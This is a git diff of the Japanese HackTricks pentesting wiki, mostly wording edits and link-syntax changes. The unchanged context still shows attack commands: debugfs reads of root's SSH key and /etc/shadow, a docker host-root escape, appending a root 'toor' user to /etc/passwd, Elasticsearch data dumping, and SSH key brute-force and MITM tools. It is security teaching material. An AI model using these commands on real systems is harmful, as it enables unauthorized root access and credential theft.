denied**」エラーが発生します。 +しかし、**rootが所有するファイル**(例えば`/etc/shadow`や`/etc/passwd`)に**書き込み**を試みると、"**Permission denied**"エラーが発生します。 ## Video Group @@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -**video group**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を**生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 +**video group**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size ## ルートグループ -デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルやいくつかの**ライブラリ**ファイル、または特権昇格に使用できる**その他の興味深いもの**を**変更**するアクセス権を持っているようです... +デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**のファイル、または特権昇格に使用できる**その他の興味深いもの**を**変更**するアクセス権を持っているようです... **ルートメンバーが変更できるファイルを確認する**: ```bash @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Dockerグループ -ホストマシンの**ルートファイルシステムをインスタンスのボリュームにマウント**できます。これにより、インスタンスが起動するとすぐにそのボリュームに`chroot`がロードされます。これにより、実質的にマシン上でルート権限を得ることができます。 +ホストマシンの**ルートファイルシステムをインスタンスのボリュームにマウント**できます。これにより、インスタンスが起動するとすぐにそのボリュームに`chroot`が読み込まれます。これにより、実質的にマシン上でルート権限を得ることができます。 ```bash docker image #Get images from the docker service @@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -最後に、前の提案が気に入らない場合や、何らかの理由で機能していない場合(docker api firewall?)、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試すことができます: +最終的に、前の提案が気に入らない場合や、何らかの理由で機能していない場合(docker api firewall?)、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試すことができます: {{#ref}} ../docker-security/ @@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr dockerソケットに書き込み権限がある場合は、[**dockerソケットを悪用して特権を昇格させる方法に関するこの投稿を読んでください**](../#writable-docker-socket)**。** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd グループ @@ -218,7 +222,7 @@ dockerソケットに書き込み権限がある場合は、[**dockerソケッ ## Auth グループ -OpenBSD内では、**auth** グループは通常、使用されている場合に _**/etc/skey**_ と _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ -これらの権限は、特権をrootに昇格させるために次のエクスプロイトを悪用することができます:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ +これらの権限は、以下のエクスプロイトを使用して**特権を昇格させる**ために悪用される可能性があります:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 7472c69d9..49db46c0f 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -69,13 +69,13 @@ sudo su ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -そうですね、ファイルを読んでいくつかの**ハッシュをクラッキング**してみてください。 +そうですね、ファイルを読んで**ハッシュをいくつかクラッキング**してみましょう。 # ディスクグループ この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。 -ファイル: `/dev/sd[a-z][1-9]` +ファイル:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -83,7 +83,7 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -注意として、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: +注意してほしいのは、debugfsを使用すると**ファイルを書き込む**こともできるということです。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt @@ -100,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。それを行うためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存され、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 +**video group**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -125,9 +125,13 @@ find / -group root -perm -g=w 2>/dev/null ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームに`chroot`を即座にロードします。これにより、実質的にマシン上でroot権限を得ることができます。 -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxdグループ diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index ae7cfb127..24820d293 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ 詳細については、以下を確認してください: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 6e6b7f1ea..f4dbcee6e 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # 基本情報 -From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printingは、ネットワークプリンタのポート9100/tcpに接続するプロセスとして定義されます。これは、CUPSおよびWindows印刷アーキテクチャがネットワークプリンタと通信するために使用するデフォルトの方法であり、'_プリンタ用の最もシンプルで、最も速く、一般的に最も信頼性の高いネットワークプロトコル_'と見なされています。Raw port 9100 printingは、JetDirect、AppSocket、またはPDL-datastreamとも呼ばれ、実際には**印刷プロトコルそのものではありません**。代わりに、**送信されるすべてのデータは印刷デバイスによって直接処理されます**。これは、TCPを介した並列接続のように機能します。LPD、IPP、SMBとは対照的に、これはクライアントに直接フィードバックを送信でき、ステータスやエラーメッセージを含みます。このような**双方向チャネル**は、**PJL**、**PostScript**、または**PCL**コマンドの**結果**に直接**アクセス**を提供します。したがって、ほぼすべてのネットワークプリンタでサポートされているraw port 9100 printingは、PRETおよびPFTを使用したセキュリティ分析のためのチャネルとして使用されます。 +From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printingは、ネットワークプリンターのポート9100/tcpに接続するプロセスとして定義されます。これは、CUPSおよびWindows印刷アーキテクチャがネットワークプリンターと通信するために使用するデフォルトの方法であり、'_プリンター用の最もシンプルで、最も速く、一般的に最も信頼性の高いネットワークプロトコル_'と見なされています。Raw port 9100 printingは、JetDirect、AppSocket、またはPDL-datastreamとも呼ばれ、実際には**印刷プロトコルそのものではありません**。代わりに、**送信されるすべてのデータは印刷デバイスによって直接処理されます**。これは、TCPを介した並列接続のように機能します。LPD、IPP、SMBとは対照的に、これはクライアントに直接フィードバックを送信でき、ステータスやエラーメッセージを含みます。このような**双方向チャネル**は、**PJL**、**PostScript**、または**PCL**コマンドの**結果**に直接**アクセス**を提供します。したがって、ほぼすべてのネットワークプリンターでサポートされているraw port 9100 printingは、PRETおよびPFTを使用したセキュリティ分析のためのチャネルとして使用されます。 If you want to learn more about [**hacking printers read this page**](http://hacking-printers.net/wiki/index.php/Main_Page). @@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file これはプリンターを悪用するために使用するツールです: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} # **Shodan** diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 49307dd7a..ad27c79e2 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## 基本情報 -Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElastic)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 +Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElastic)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれており、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 ### Elasticsearchインデックスとは? @@ -12,7 +12,7 @@ Elasticsearchの**インデックス**は、**関連するドキュメント** Elasticsearchは、効率的なデータ構造である**逆インデックス**を使用して、高速な全文検索を実現しています。このインデックスは、ドキュメント内のすべてのユニークな単語をリストし、各単語が出現するドキュメントを特定します。 -インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築し、ほぼリアルタイムでの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 +インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築することで、ほぼリアルタイムの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 **デフォルトポート**: 9200/tcp @@ -39,8 +39,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、HTTP基本認証をブルートフォースするためのものは何でも使用できます)。\ -ここに**デフォルトのユーザー名のリスト**があります: _**elastic**(スーパーユーザー)、remote_monitoring_user、beats_system、logstash_system、kibana、kibana_system、apm_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。 +それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、HTTP基本認証をブルートフォースできるものは何でも使用できます)。\ +ここに**デフォルトのユーザー名のリスト**があります:_**elastic**(スーパーユーザー)、remote_monitoring_user、beats_system、logstash_system、kibana、kibana_system、apm_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。 ``` curl -X GET http://user:password@IP:9200/ ``` @@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**エンドポイントです: +以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**いくつかのエンドポイントです: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -これらのエンドポイントは、[**ドキュメントから取得された**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html)もので、**詳細を見つけることができます**。\ +これらのエンドポイントは、[**ドキュメントから取得されたもの**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html)で、**詳細を見つけることができます**。\ また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。 `/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを確認できます。 @@ -106,7 +106,7 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ### インデックスのダンプ -インデックスの**すべての内容をダンプしたい場合**は、`http://host:9200//_search?pretty=true`にアクセスできます。例えば、`http://10.10.10.115:9200/bank/_search?pretty=true`のように。 +インデックスの**すべての内容をダンプしたい場合**、`http://host:9200//_search?pretty=true`にアクセスできます。例えば、`http://10.10.10.115:9200/bank/_search?pretty=true`のように。 ![](<../images/image (914).png>) @@ -114,11 +114,11 @@ _この時点で、銀行インデックス内の各ドキュメント(エン ここで、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際に取得されたのは10件だけです。これは、**デフォルトで10件のドキュメントに制限があるためです。**\ しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`と指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ +\&#xNAN;_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`を指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ ### すべてをダンプ -すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに**`http://host:9200/_search?pretty=true`にアクセスします。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ +すべてをダンプするには、**以前と同じパスにアクセスしますが、インデックスを指定しないでください**`http://host:9200/_search?pretty=true`。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションを参照してください。 ### 検索 @@ -127,11 +127,11 @@ _この時点で、銀行インデックス内の各ドキュメント(エン ![](<../images/image (335).png>) -特定のインデックスで**検索したい場合は**、**パス**にそれを**指定するだけです**:`http://host:9200//_search?pretty=true&q=` +特定のインデックスで**検索したい場合は**、**パス**にそれを**指定**するだけです:`http://host:9200//_search?pretty=true&q=` _qパラメータは、コンテンツを検索するために**正規表現をサポートしています**。_ -また、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用して、elasticsearchサービスをファズすることもできます。 +また、Elasticsearchサービスをファズするために、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用することもできます。 ### 書き込み権限 @@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 2f36403f6..91e687d2e 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **デフォルトパスワード** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # 設定ファイル ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index d2da50ffd..cab2fc68d 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -4,11 +4,11 @@ ## 基本情報 -**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証する原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。 +**Kerberos**は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいています。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。 -**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。 +**Active Directory**のような環境では、**Kerberos**はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos**は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。 -**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。 +**Kerberos**による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos**が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。 **デフォルトポート:** 88/tcp/udp ``` @@ -25,9 +25,11 @@ PORT STATE SERVICE ### MS14-068 -MS14-068の欠陥により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者などの特権を不正に主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。 +MS14-068の脆弱性により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者であるかのように偽って特権を主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。 -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} 他のエクスプロイト: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 7cc0bb801..4cf157960 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## 基本情報 -**SSH (セキュアシェルまたはセキュアソケットシェル)** は、未保護のネットワークを介してコンピュータへの安全な接続を可能にするネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。 +**SSH (セキュアシェルまたはセキュアソケットシェル)** は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と完全性を維持するために不可欠です。 **デフォルトポート:** 22 ``` @@ -44,7 +42,7 @@ ssh-auditは、sshサーバーとクライアントの設定監査のための - SSHクライアント設定の分析; - バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出; - キー交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムを収集; -- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱い/レガシーなど); +- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱/レガシーなど); - アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除); - セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど); - アルゴリズム情報に基づいてSSHバージョンの互換性を分析; @@ -115,17 +113,19 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -`ssh-keybrute.py`(ネイティブPython3、軽量でレガシーアルゴリズムが有効)を使用することもできます: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。 +`ssh-keybrute.py`(ネイティブPython3、軽量でレガシーアルゴリズムが有効)を使用するか、こちらを参照してください: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。 #### 既知のbadkeysはここにあります: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### 弱いSSHキー / Debianの予測可能なPRNG -一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキー空間が生じ、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットはここにあります: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 +一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキー空間が生じ、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットは、こちらで入手できます: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 -被害者のマシンの有効なキーを検索するためにここを確認する必要があります。 +被害者のマシンの有効なキーを検索するために、ここを確認する必要があります。 ### Kerberos @@ -161,7 +161,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys - **傍受とログ記録:** 攻撃者のマシンは**プロキシ**として機能し、正当なSSHサーバーを装ってユーザーのログイン情報を**キャプチャ**します。 - **コマンドの実行と中継:** 最後に、攻撃者のサーバーは**ユーザーの資格情報をログ記録し**、**コマンドを**実際のSSHサーバーに**転送し**、**実行**し、**結果をユーザーに返します**。これにより、プロセスがシームレスで正当なものに見えます。 -[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は、上記の説明通りに実行します。 +[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は、上記の説明通りのことを実行します。 実際のMitMをキャプチャするためには、ARPスプーフィング、DNSスプーフィング、または[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されている他の技術を使用できます。 @@ -169,14 +169,14 @@ msf> use scanner/ssh/ssh_identify_pubkeys 発見されたSSHプライベートキーを使用してネットワークを横断し、各システムの各プライベートキーを新しいホストに利用する場合、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)が必要です。 -SSH-Snakeは以下のタスクを自動的かつ再帰的に実行します: +SSH-Snakeは、以下のタスクを自動的かつ再帰的に実行します: 1. 現在のシステムで、任意のSSHプライベートキーを見つける。 2. 現在のシステムで、プライベートキーが受け入れられる可能性のあるホストまたは宛先(user@host)を見つける。 3. 発見されたすべてのプライベートキーを使用して、すべての宛先にSSH接続を試みる。 4. 宛先に正常に接続できた場合、接続したシステムでステップ#1 - #4を繰り返す。 -これは完全に自己複製し、自己伝播します -- そして完全にファイルレスです。 +これは完全に自己複製し、自己伝播し、完全にファイルレスです。 ## 設定の誤設定 @@ -197,7 +197,7 @@ SSHサーバーがデフォルトでルートユーザーのログインを許 ### SFTPコマンド実行 